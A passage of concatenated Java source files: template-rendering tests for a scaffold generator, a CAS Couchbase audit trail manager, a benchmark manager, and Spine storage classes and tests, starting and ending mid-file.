ordersProperties.put("n-to-many", "true");
ordersProperties.put("parameterized-type", "com.example.scaffoldtester.model.StoreOrder");
ordersProperties.put("type", "java.util.Set");
ordersProperties.put("simpleType", "StoreOrder");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(ordersProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(0, equalTo(headers.size()));
}
@Test
public void testGenerateManyToManyProperty() throws Exception
{
Map<String, String> usersProperties = new HashMap<String, String>();
String manyToManyProperty = "users";
usersProperties.put("name", manyToManyProperty);
usersProperties.put("type", "java.lang.String");
usersProperties.put("n-to-many", "true");
usersProperties.put("parameterized-type", "com.example.scaffoldtester.model.UserIdentity");
usersProperties.put("type", "java.util.Set");
usersProperties.put("simpleType", "UserIdentity");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(usersProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(0, equalTo(headers.size()));
}
@Test
public void testGenerateBasicStringProperty() throws Exception
{
Map<String, String> nameProperties = new HashMap<String, String>();
String basicStringProperty = "fullName";
nameProperties.put("name", basicStringProperty);
nameProperties.put("label", StringUtils.uncamelCase(basicStringProperty));
nameProperties.put("type", "java.lang.String");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(nameProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("pluralizedEntityName", "SampleEntities");
root.put("entityId", basicStringProperty);
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(headers.size(), equalTo(1));
assertThat(headers.text(), equalTo("Full Name"));
Elements resultRows = html.select("table > tbody > tr");
assertThat(resultRows.attr("ng-repeat"), containsString("result in filteredResults"));
Elements resultCells = resultRows.select(" > td");
assertThat(resultCells.size(), equalTo(1));
assertThat(resultCells.select("a").attr("href"), equalTo("#/" + "SampleEntities" + "/edit/{{result.fullName}}"));
assertThat(resultCells.select("a").text(), equalTo("{{result.fullName}}"));
}
@Test
public void testGenerateBasicNumberProperty() throws Exception
{
Map<String, String> ageProperties = new HashMap<String, String>();
String basicNumberProperty = "age";
ageProperties.put("name", basicNumberProperty);
ageProperties.put("label", StringUtils.uncamelCase(basicNumberProperty));
ageProperties.put("type", "number");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(ageProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("pluralizedEntityName", "SampleEntities");
root.put("entityId", basicNumberProperty);
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(headers.size(), equalTo(1));
assertThat(headers.text(), equalTo("Age"));
Elements resultRows = html.select("table > tbody > tr");
assertThat(resultRows.attr("ng-repeat"), containsString("result in filteredResults"));
Elements resultCells = resultRows.select(" > td");
assertThat(resultCells.size(), equalTo(1));
assertThat(resultCells.select("a").attr("href"), equalTo("#/" + "SampleEntities" + "/edit/{{result.age}}"));
assertThat(resultCells.select("a").text(), equalTo("{{result.age}}"));
}
@Test
public void testGenerateBasicDateProperty() throws Exception
{
Map<String, String> dateOfBirthProperties = new HashMap<String, String>();
String basicDateProperty = "dateOfBirth";
dateOfBirthProperties.put("name", basicDateProperty);
dateOfBirthProperties.put("label", StringUtils.uncamelCase(basicDateProperty));
dateOfBirthProperties.put("type", "java.util.Date");
dateOfBirthProperties.put("datetime-type", "date");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(dateOfBirthProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("pluralizedEntityName", "SampleEntities");
root.put("entityId", basicDateProperty);
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(headers.size(), equalTo(1));
assertThat(headers.text(), equalTo("Date Of Birth"));
Elements resultRows = html.select("table > tbody > tr");
assertThat(resultRows.attr("ng-repeat"), containsString("result in filteredResults"));
Elements resultCells = resultRows.select(" > td");
assertThat(resultCells.size(), equalTo(1));
assertThat(resultCells.select("a").attr("href"),
equalTo("#/" + "SampleEntities" + "/edit/{{result.dateOfBirth}}"));
assertThat(resultCells.select("a").text(), equalTo("{{result.dateOfBirth| date:'mediumDate'}}"));
}
@Test
public void testGenerateOneToOneProperty() throws Exception
{
Map<String, String> voucherProperties = new HashMap<String, String>();
String oneToOneProperty = "voucher";
voucherProperties.put("name", oneToOneProperty);
voucherProperties.put("label", StringUtils.uncamelCase(oneToOneProperty));
voucherProperties.put("type", "com.example.scaffoldtester.model.DiscountVoucher");
voucherProperties.put("one-to-one", "true");
voucherProperties.put("simpleType", "DiscountVoucher");
voucherProperties.put("optionLabel", "id");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(voucherProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("pluralizedEntityName", "SampleEntities");
root.put("entityId", oneToOneProperty);
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(headers.size(), equalTo(1));
assertThat(headers.text(), equalTo("Voucher"));
Elements resultRows = html.select("table > tbody > tr");
assertThat(resultRows.attr("ng-repeat"), containsString("result in filteredResults"));
Elements resultCells = resultRows.select(" > td");
assertThat(resultCells.size(), equalTo(1));
assertThat(resultCells.select("a").attr("href"), equalTo("#/" + "SampleEntities" + "/edit/{{result.voucher}}"));
assertThat(resultCells.select("a").text(), equalTo("{{result.voucher.id}}"));
}
@Test
public void testGenerateManyToOneProperty() throws Exception
{
Map<String, String> customerProperties = new HashMap<String, String>();
String manyToOneProperty = "customer";
customerProperties.put("name", manyToOneProperty);
customerProperties.put("label", StringUtils.uncamelCase(manyToOneProperty));
customerProperties.put("type", "com.example.scaffoldtester.model.Customer");
customerProperties.put("many-to-one", "true");
customerProperties.put("simpleType", "Customer");
customerProperties.put("optionLabel", "id");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(customerProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("pluralizedEntityName", "SampleEntities");
root.put("entityId", manyToOneProperty);
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(headers.size(), equalTo(1));
assertThat(headers.text(), equalTo("Customer"));
Elements resultRows = html.select("table > tbody > tr");
assertThat(resultRows.attr("ng-repeat"), containsString("result in filteredResults"));
Elements resultCells = resultRows.select(" > td");
assertThat(resultCells.size(), equalTo(1));
assertThat(resultCells.select("a").attr("href"), equalTo("#/" + "SampleEntities" + "/edit/{{result.customer}}"));
assertThat(resultCells.select("a").text(), equalTo("{{result.customer.id}}"));
}
}
|
package org.apereo.cas.audit;
import org.apereo.cas.audit.spi.AbstractAuditTrailManager;
import org.apereo.cas.couchbase.core.CouchbaseClientFactory;
import org.apereo.cas.util.CollectionUtils;
import org.apereo.cas.util.DateTimeUtils;
import org.apereo.cas.util.serialization.StringSerializer;
import com.couchbase.client.java.document.StringDocument;
import com.couchbase.client.java.document.json.JsonObject;
import com.couchbase.client.java.query.N1qlQuery;
import com.couchbase.client.java.view.DefaultView;
import com.couchbase.client.java.view.View;
import lombok.RequiredArgsConstructor;
import lombok.Setter;
import lombok.SneakyThrows;
import lombok.val;
import org.apereo.inspektr.audit.AuditActionContext;
import java.io.StringWriter;
import java.time.LocalDate;
import java.util.Collection;
import java.util.Date;
import java.util.Set;
import java.util.UUID;
import java.util.stream.Collectors;
import static com.couchbase.client.java.query.Select.select;
import static com.couchbase.client.java.query.dsl.Expression.i;
import static com.couchbase.client.java.query.dsl.Expression.x;
/**
* This is {@link CouchbaseAuditTrailManager}.
*
* @author Misagh Moayyed
* @since 6.0.0
*/
@Setter
@RequiredArgsConstructor
public class CouchbaseAuditTrailManager extends AbstractAuditTrailManager {
/**
* The utils document.
*/
public static final String UTIL_DOCUMENT = "utils";
/**
* All records view.
*/
public static final View ALL_RECORDS_VIEW = DefaultView.create(
"all_records",
"function(d,m) {if (!isNaN(m.id)) {emit(m.id);}}");
/**
* All views.
*/
public static final Collection<View> ALL_VIEWS = CollectionUtils.wrap(ALL_RECORDS_VIEW);
private final CouchbaseClientFactory couchbase;
private final StringSerializer<AuditActionContext> serializer;
public CouchbaseAuditTrailManager(final CouchbaseClientFactory couchbase, final StringSerializer<AuditActionContext> serializer,
final boolean asynchronous) {
this(couchbase, serializer);
this.asynchronous = asynchronous;
}
@Override
public void removeAll() {
}
@SneakyThrows
@Override
protected void saveAuditRecord(final AuditActionContext audit) {
try (val stringWriter = new StringWriter()) {
this.serializer.to(stringWriter, audit);
val id = UUID.randomUUID().toString();
val document = StringDocument.create(id, 0, stringWriter.toString());
this.couchbase.getBucket().upsert(document);
}
}
@Override
public Set<? extends AuditActionContext> getAuditRecordsSince(final LocalDate localDate) {
val couchbaseBucket = this.couchbase.getBucket();
val name = couchbaseBucket.name();
val statement = select("*").from(i(name)).where(x("whenActionWasPerformed").gte(x("$whenActionWasPerformed")));
val placeholderValues = JsonObject.create().put("whenActionWasPerformed", DateTimeUtils.dateOf(localDate).getTime());
val q = N1qlQuery.parameterized(statement, placeholderValues);
val result = couchbaseBucket.query(q);
return result.allRows()
.stream()
.map(row -> {
val json = row.value().toString();
val bucket = JsonObject.fromJson(json).getObject(name);
return new AuditActionContext(bucket.getString("principal"),
bucket.getString("resourceOperatedUpon"),
bucket.getString("actionPerformed"),
bucket.getString("applicationCode"),
new Date(bucket.getArray("whenActionWasPerformed").getLong(1)),
bucket.getString("clientIpAddress"),
bucket.getString("serverIpAddress"));
})
.collect(Collectors.toSet());
}
}
|
package com.continuuity.performance.application;
import com.continuuity.api.ApplicationSpecification;
import com.continuuity.app.Id;
import com.continuuity.app.services.AppFabricService;
import com.continuuity.app.services.AuthToken;
import com.continuuity.common.conf.CConfiguration;
import com.continuuity.common.queue.QueueName;
import com.continuuity.data.DataSetAccessor;
import com.continuuity.data2.transaction.TransactionSystemClient;
import com.continuuity.performance.gateway.stream.MultiThreadedStreamWriter;
import com.continuuity.test.StreamWriter;
import com.continuuity.test.internal.DefaultApplicationManager;
import com.continuuity.test.internal.ProcedureClientFactory;
import com.continuuity.weave.filesystem.Location;
import com.continuuity.weave.filesystem.LocationFactory;
import com.google.common.collect.Sets;
import com.google.inject.Inject;
import com.google.inject.assistedinject.Assisted;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Set;
/**
* Default Benchmark Context.
*/
public class DefaultBenchmarkManager extends DefaultApplicationManager {
private static final Logger LOG = LoggerFactory.getLogger(DefaultBenchmarkManager.class);
private final BenchmarkStreamWriterFactory benchmarkStreamWriterFactory;
private final Set<MultiThreadedStreamWriter> streamWriters;
private final Id.Account idAccount;
@Inject
public DefaultBenchmarkManager(LocationFactory locationFactory,
DataSetAccessor dataSetAccessor,
TransactionSystemClient txSystemClient,
BenchmarkStreamWriterFactory streamWriterFactory,
ProcedureClientFactory procedureClientFactory,
@Assisted AuthToken token,
@Assisted("accountId") String accountId,
@Assisted("applicationId") String applicationId,
@Assisted AppFabricService.Iface appFabricServer,
@Assisted Location deployedJar,
@Assisted ApplicationSpecification appSpec) {
super(locationFactory,
dataSetAccessor, txSystemClient,
streamWriterFactory, procedureClientFactory,
token, accountId, applicationId,
appFabricServer, deployedJar, appSpec);
benchmarkStreamWriterFactory = streamWriterFactory;
idAccount = Id.Account.from(accountId);
streamWriters = Sets.newHashSet();
}
@Override
public StreamWriter getStreamWriter(String streamName) {
QueueName queueName = QueueName.fromStream(idAccount.getId(), streamName);
StreamWriter streamWriter = benchmarkStreamWriterFactory.create(CConfiguration.create(), queueName);
streamWriters.add((MultiThreadedStreamWriter) streamWriter);
return streamWriter;
}
public void stopAll() {
super.stopAll();
LOG.debug("Stopped all flowlets and procedures.");
for (MultiThreadedStreamWriter streamWriter : streamWriters) {
streamWriter.shutdown();
}
LOG.debug("Stopped all stream writers.");
}
}
|
package io.spine.server.delivery;
import io.spine.string.Stringifiers;
import static java.lang.String.format;
/**
* Thrown if there is an attempt to mark a message put to {@code Inbox} with a label, which was
* not added for the {@code Inbox} instance.
*/
public class LabelNotFoundException extends RuntimeException {
private static final long serialVersionUID = 1L;
private final InboxLabel label;
private final InboxId inboxId;
/**
* Creates an instance for the given {@code Inbox} ID and the label
*/
LabelNotFoundException(InboxId id, InboxLabel label) {
super();
this.label = label;
this.inboxId = id;
}
@Override
public String getMessage() {
return format("Inbox %s has no available label %s",
Stringifiers.toString(inboxId), label);
}
}
|
package io.spine.server.storage;
import com.google.common.base.MoreObjects;
import com.google.common.base.Objects;
import com.google.common.collect.HashMultimap;
import com.google.common.collect.ImmutableMultimap;
import com.google.common.collect.LinkedListMultimap;
import com.google.common.collect.Multimap;
import com.google.common.collect.Streams;
import io.spine.client.CompositeFilter.CompositeOperator;
import io.spine.client.Filter;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static io.spine.client.CompositeFilter.CompositeOperator.ALL;
import static io.spine.server.entity.storage.LifecycleColumn.archived;
import static io.spine.server.entity.storage.LifecycleColumn.deleted;
/**
* A set of {@link Filter} instances joined by a logical
* {@link CompositeOperator composite operator}.
*/
public final class CompositeQueryParameter {
private final CompositeOperator operator;
private final ImmutableMultimap<Column, Filter> filters;
/**
* A flag that shows whether the current instance of {@code CompositeQueryParameter} has
* the {@link io.spine.server.entity.storage.LifecycleColumn lifecycle attributes} set.
*/
private final boolean hasLifecycle;
/**
* Creates a new instance of {@code CompositeQueryParameter} from the given filters joined
* by the given operator.
*
* @param filters
* the filters to aggregate
* @param operator
* the operator to apply to the given filters
* @return new instance of {@code CompositeQueryParameter}
*/
public static CompositeQueryParameter from(Multimap<Column, Filter> filters,
CompositeOperator operator) {
checkNotNull(filters);
checkNotNull(operator);
checkArgument(operator.getNumber() > 0, "Invalid aggregating operator %s.", operator);
return new CompositeQueryParameter(operator, filters);
}
private CompositeQueryParameter(CompositeOperator operator,
Multimap<Column, Filter> filters) {
this.operator = operator;
this.filters = ImmutableMultimap.copyOf(filters);
this.hasLifecycle = containsLifecycle(filters.keySet());
}
private static boolean containsLifecycle(Iterable<Column> columns) {
boolean result = Streams.stream(columns)
.anyMatch(CompositeQueryParameter::isLifecycleColumn);
return result;
}
private static boolean isLifecycleColumn(Column column) {
checkNotNull(column);
boolean result = archived.columnName().equals(column.name())
|| deleted.columnName().equals(column.name());
return result;
}
/**
* Obtains the composite operator.
*/
public CompositeOperator operator() {
return operator;
}
/**
* Returns the joined entity column {@linkplain Filter filters}.
*/
public ImmutableMultimap<Column, Filter> filters() {
return filters;
}
/**
* Merges current instance with the given instances by the rules of conjunction.
*
* <p>The resulting {@code CompositeQueryParameter} contains all the filters of the current and
* the given instances joined by the {@linkplain CompositeOperator#ALL conjunction operator}.
*
* @param other
* the instances of the {@code CompositeQueryParameter} to merge with
* @return new instance of {@code CompositeQueryParameter} joining all the parameters
*/
public CompositeQueryParameter conjunct(Iterable<CompositeQueryParameter> other) {
checkNotNull(other);
Multimap<Column, Filter> mergedFilters = LinkedListMultimap.create();
mergedFilters.putAll(filters);
for (CompositeQueryParameter parameter : other) {
mergedFilters.putAll(parameter.filters());
}
CompositeQueryParameter result = from(mergedFilters, ALL);
return result;
}
/**
* Merges current instance with the given filter.
*
* <p>The resulting {@code CompositeQueryParameter} is joined with
* the {@link CompositeOperator#ALL ALL} operator.
*
* @param column
* the {@link Column} to add the filter to
* @param filter
* the value of the filter to add
* @return new instance of {@code CompositeQueryParameter} merged from current instance and
* the given filter
*/
public CompositeQueryParameter and(Column column, Filter filter) {
checkNotNull(column);
checkNotNull(filter);
Multimap<Column, Filter> newFilters = HashMultimap.create(filters);
newFilters.put(column, filter);
CompositeQueryParameter parameter = from(newFilters, ALL);
return parameter;
}
/**
* Returns {@code true} if this parameter contains filters by
* the {@linkplain io.spine.server.entity.LifecycleFlags Entity lifecycle columns},
* {@code false} otherwise.
*/
public boolean hasLifecycle() {
return hasLifecycle;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
CompositeQueryParameter parameter = (CompositeQueryParameter) o;
return operator() == parameter.operator() &&
Objects.equal(filters(), parameter.filters());
}
@Override
public int hashCode() {
return Objects.hashCode(operator(), filters());
}
@SuppressWarnings("DuplicateStringLiteralInspection") // In generated code.
@Override
public String toString() {
return MoreObjects.toStringHelper(this)
.add("operator", operator)
.add("filters", filters)
.toString();
}
}
|
package io.spine.server.storage;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import com.google.protobuf.Any;
import com.google.protobuf.FieldMask;
import com.google.protobuf.Int32Value;
import com.google.protobuf.Message;
import io.spine.base.EntityState;
import io.spine.base.Identifier;
import io.spine.client.CompositeFilter;
import io.spine.client.Filter;
import io.spine.client.ResponseFormat;
import io.spine.client.TargetFilters;
import io.spine.client.Targets;
import io.spine.core.Version;
import io.spine.server.ServerEnvironment;
import io.spine.server.entity.Entity;
import io.spine.server.entity.EntityRecord;
import io.spine.server.entity.TransactionalEntity;
import io.spine.server.entity.storage.EntityColumns;
import io.spine.server.entity.storage.EntityRecordStorage;
import io.spine.server.entity.storage.EntityRecordWithColumns;
import io.spine.server.storage.given.RecordStorageTestEnv;
import io.spine.server.storage.given.RecordStorageTestEnv.TestCounterEntity;
import io.spine.test.storage.Project;
import io.spine.test.storage.ProjectId;
import io.spine.test.storage.Task;
import io.spine.testing.core.given.GivenVersion;
import org.checkerframework.checker.nullness.qual.Nullable;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Nested;
import org.junit.jupiter.api.Test;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import static com.google.common.collect.Lists.newArrayList;
import static com.google.common.collect.Sets.newHashSet;
import static com.google.common.truth.Truth.assertThat;
import static com.google.protobuf.util.FieldMaskUtil.fromFieldNumbers;
import static io.spine.base.Identifier.newUuid;
import static io.spine.client.CompositeFilter.CompositeOperator.ALL;
import static io.spine.client.Filters.all;
import static io.spine.client.Filters.eq;
import static io.spine.protobuf.AnyPacker.pack;
import static io.spine.protobuf.AnyPacker.unpack;
import static io.spine.protobuf.Messages.isDefault;
import static io.spine.server.entity.storage.EntityRecordWithColumns.create;
import static io.spine.server.storage.LifecycleFlagField.archived;
import static io.spine.server.storage.QueryParameters.activeEntityQueryParams;
import static io.spine.server.storage.given.RecordStorageTestEnv.TestCounterEntity.PROJECT_VERSION_TIMESTAMP;
import static io.spine.server.storage.given.RecordStorageTestEnv.archive;
import static io.spine.server.storage.given.RecordStorageTestEnv.assertSingleRecord;
import static io.spine.server.storage.given.RecordStorageTestEnv.buildStorageRecord;
import static io.spine.server.storage.given.RecordStorageTestEnv.delete;
import static io.spine.server.storage.given.RecordStorageTestEnv.newEntity;
import static io.spine.server.storage.given.RecordStorageTestEnv.withLifecycleColumns;
import static io.spine.test.storage.Project.Status.CANCELLED;
import static io.spine.test.storage.Project.Status.DONE;
import static io.spine.testing.Tests.assertMatchesMask;
import static io.spine.testing.Tests.nullRef;
import static java.lang.String.format;
import static java.lang.System.nanoTime;
import static java.util.stream.Collectors.toList;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.Assertions.fail;
/**
* Abstract base for tests of message storage implementations.
*
* <p>This abstract test should not contain {@linkplain org.junit.jupiter.api.Nested nested tests}
* because they are not under control of {@code AbstractMessageStorageTest} inheritors.
* Such a control is required for overriding or disabling tests due to a lag between read and
* write on remote storage implementations, etc.
*
* @param <ProjectId>
* the type of identifiers a storage uses
* @param <S>
* the type of storage under the test
*/
@DisplayName("`EntityRecordStorage` should")
public class EntityRecordStorageTest
extends AbstractStorageTest<ProjectId, EntityRecord, EntityRecordStorage<ProjectId>> {
@Override
protected final ProjectId newId() {
return ProjectId.newBuilder()
.setId(newUuid())
.build();
}
@Override
protected Class<? extends Entity<?, ?>> getTestEntityClass() {
return TestCounterEntity.class;
}
@Override
protected EntityRecordStorage<ProjectId> newStorage(Class<? extends Entity<?, ?>> cls) {
StorageFactory factory = ServerEnvironment.instance()
.storageFactory();
return new EntityRecordStorage<>(factory, TestCounterEntity.class, false);
}
@Test
@DisplayName("retrieve empty iterator if storage is empty")
void retrieveEmptyIterator() {
FieldMask nonEmptyFieldMask = FieldMask
.newBuilder()
.addPaths("invalid-path")
.build();
ResponseFormat format = ResponseFormat
.newBuilder()
.setFieldMask(nonEmptyFieldMask)
.vBuild();
EntityRecordStorage storage = storage();
Iterator empty = storage.readAll(format);
assertNotNull(empty);
assertFalse(empty.hasNext(), "Iterator is not empty!");
}
@Nested
@DisplayName("read")
class Read {
@Test
@DisplayName("single record according to the specific field mask")
void singleRecord() {
ProjectId id = newId();
EntityRecord record = newStorageRecord(id);
EntityRecordStorage<ProjectId> storage = storage();
storage.write(id, record);
EntityState state = newState(id);
FieldMask idMask = fromFieldNumbers(state.getClass(), 1);
Optional<EntityRecord> optional = storage.read(id, idMask);
assertTrue(optional.isPresent());
EntityRecord entityRecord = optional.get();
Message unpacked = unpack(entityRecord.getState());
assertFalse(isDefault(unpacked));
}
@SuppressWarnings("MethodWithMultipleLoops")
@Test
@DisplayName("multiple records according to the given field mask")
void multipleRecords() {
EntityRecordStorage<ProjectId> storage = storage();
int count = 10;
List<ProjectId> ids = new ArrayList<>();
Class<? extends EntityState> stateClass = null;
for (int i = 0; i < count; i++) {
ProjectId id = newId();
EntityState state = newState(id);
if (stateClass == null) {
stateClass = state.getClass();
}
EntityRecord record = newStorageRecord(id, state);
storage.write(id, record);
ids.add(id);
}
int bulkCount = count / 2;
FieldMask fieldMask = fromFieldNumbers(stateClass, 2);
Iterator<EntityRecord> readRecords = storage.readAll(ids.subList(0, bulkCount),
fieldMask);
List<EntityRecord> readList = newArrayList(readRecords);
assertThat(readList).hasSize(bulkCount);
for (EntityRecord record : readList) {
Message state = unpack(record.getState());
assertMatchesMask(state, fieldMask);
}
}
@Test
@DisplayName("archived records if specified")
void archivedRecords() {
ProjectId activeRecordId = newId();
ProjectId archivedRecordId = newId();
EntityRecord activeRecord =
buildStorageRecord(activeRecordId, newState(activeRecordId));
EntityRecord archivedRecord =
buildStorageRecord(archivedRecordId, newState(archivedRecordId));
TransactionalEntity<ProjectId, ?, ?> activeEntity = newEntity(activeRecordId);
TransactionalEntity<ProjectId, ?, ?> archivedEntity = newEntity(archivedRecordId);
archive(archivedEntity);
EntityRecordStorage<ProjectId> storage = storage();
storage.write(create(activeEntity, storage.columns(), activeRecord));
storage.write(
create(archivedEntity, storage.columns(), archivedRecord));
TargetFilters filters = TargetFilters
.newBuilder()
.addFilter(all(eq(archived.toString(), true)))
.build();
RecordQuery<ProjectId> query = RecordQueries.from(filters, storage.columns());
Iterator<EntityRecord> read = storage.readAll(query);
assertSingleRecord(archivedRecord, read);
}
}
@Nested
@DisplayName("filter records")
class Filtering {
@Test
@DisplayName("by columns")
void byColumns() {
Project.Status requiredValue = DONE;
Int32Value wrappedValue = Int32Value
.newBuilder()
.setValue(requiredValue.getNumber())
.build();
Version versionValue = Version
.newBuilder()
.setNumber(0)
.setTimestamp(PROJECT_VERSION_TIMESTAMP)
.build();
Filter status = eq("project_status_value", wrappedValue);
Filter version = eq("project_version", versionValue);
CompositeFilter aggregatingFilter = CompositeFilter
.newBuilder()
.setOperator(ALL)
.addFilter(status)
.addFilter(version)
.build();
TargetFilters filters = TargetFilters
.newBuilder()
.addFilter(aggregatingFilter)
.build();
EntityRecordStorage<ProjectId> storage = storage();
RecordQuery<ProjectId> query = RecordQueries.from(filters, storage.columns());
ProjectId idMatching = newId();
ProjectId idWrong1 = newId();
ProjectId idWrong2 = newId();
TestCounterEntity matchingEntity = newEntity(idMatching);
TestCounterEntity wrongEntity1 = newEntity(idWrong1);
TestCounterEntity wrongEntity2 = newEntity(idWrong2);
// 2 of 3 have required values
matchingEntity.assignStatus(requiredValue);
wrongEntity1.assignStatus(requiredValue);
wrongEntity2.assignStatus(CANCELLED);
// Change internal Entity state
wrongEntity1.assignCounter(1);
// After the mutation above the single matching record is the one under the `idMatching` ID
EntityRecord fineRecord = buildStorageRecord(idMatching, newState(idMatching));
EntityRecord notFineRecord1 = buildStorageRecord(idWrong1, newState(idWrong1));
EntityRecord notFineRecord2 = buildStorageRecord(idWrong2, newState(idWrong2));
EntityRecordWithColumns<ProjectId> recordRight =
create(matchingEntity, storage.columns(), fineRecord);
EntityRecordWithColumns<ProjectId> recordWrong1 =
create(wrongEntity1, storage.columns(), notFineRecord1);
EntityRecordWithColumns<ProjectId> recordWrong2 =
create(wrongEntity2, storage.columns(), notFineRecord2);
storage.write(recordRight);
storage.write(recordWrong1);
storage.write(recordWrong2);
Iterator<EntityRecord> readRecords = storage.readAll(query);
assertSingleRecord(fineRecord, readRecords);
}
@Test
@DisplayName("both by columns and IDs")
void byColumnsAndId() {
ProjectId targetId = newId();
TestCounterEntity targetEntity = newEntity(targetId);
TestCounterEntity noMatchEntity = newEntity(newId());
TestCounterEntity noMatchIdEntity = newEntity(newId());
TestCounterEntity deletedEntity = newEntity(newId());
targetEntity.assignStatus(CANCELLED);
deletedEntity.assignStatus(CANCELLED);
delete(deletedEntity);
noMatchIdEntity.assignStatus(CANCELLED);
noMatchEntity.assignStatus(DONE);
write(targetEntity);
write(noMatchEntity);
write(noMatchIdEntity);
write(deletedEntity);
CompositeFilter filter = all(eq("project_status_value", CANCELLED.getNumber()));
TargetFilters filters =
Targets.acceptingOnly(targetId)
.toBuilder()
.addFilter(filter)
.build();
EntityRecordStorage<ProjectId> storage = storage();
RecordQuery<ProjectId> filteringQuery = RecordQueries.from(filters, storage.columns());
RecordQuery<ProjectId> query =
filteringQuery.append(activeEntityQueryParams(storage.columns()));
Iterator<EntityRecord> read = storage.readAll(query);
List<EntityRecord> readRecords = newArrayList(read);
assertEquals(1, readRecords.size());
EntityRecord readRecord = readRecords.get(0);
assertEquals(targetEntity.state(), unpack(readRecord.getState()));
assertEquals(targetId, Identifier.unpack(readRecord.getEntityId()));
}
@Test
@DisplayName("by ID and not use columns")
void byIdAndNoColumns() {
// Create the test data
ProjectId idMatching = newId();
ProjectId idWrong1 = newId();
ProjectId idWrong2 = newId();
Entity<ProjectId, ?> matchingEntity = newEntity(idMatching);
Entity<ProjectId, ?> nonMatchingEntity = newEntity(idWrong1);
Entity<ProjectId, ?> nonMatchingEntity2 = newEntity(idWrong2);
EntityRecord matchingRecord = buildStorageRecord(idMatching, newState(idMatching));
EntityRecord nonMatching1 = buildStorageRecord(idWrong1, newState(idWrong1));
EntityRecord nonMatching2 = buildStorageRecord(idWrong2, newState(idWrong2));
EntityRecordStorage<ProjectId> storage = storage();
EntityColumns columns = storage.columns();
EntityRecordWithColumns<ProjectId> matchingWithCols = create(matchingEntity, columns,
matchingRecord);
EntityRecordWithColumns<ProjectId> nonMatching1WithCols =
create(nonMatchingEntity, columns, nonMatching1);
EntityRecordWithColumns<ProjectId> nontMatching2WithCols =
create(nonMatchingEntity2, columns, nonMatching2);
// Fill the storage
storage.write(nonMatching1WithCols);
storage.write(matchingWithCols);
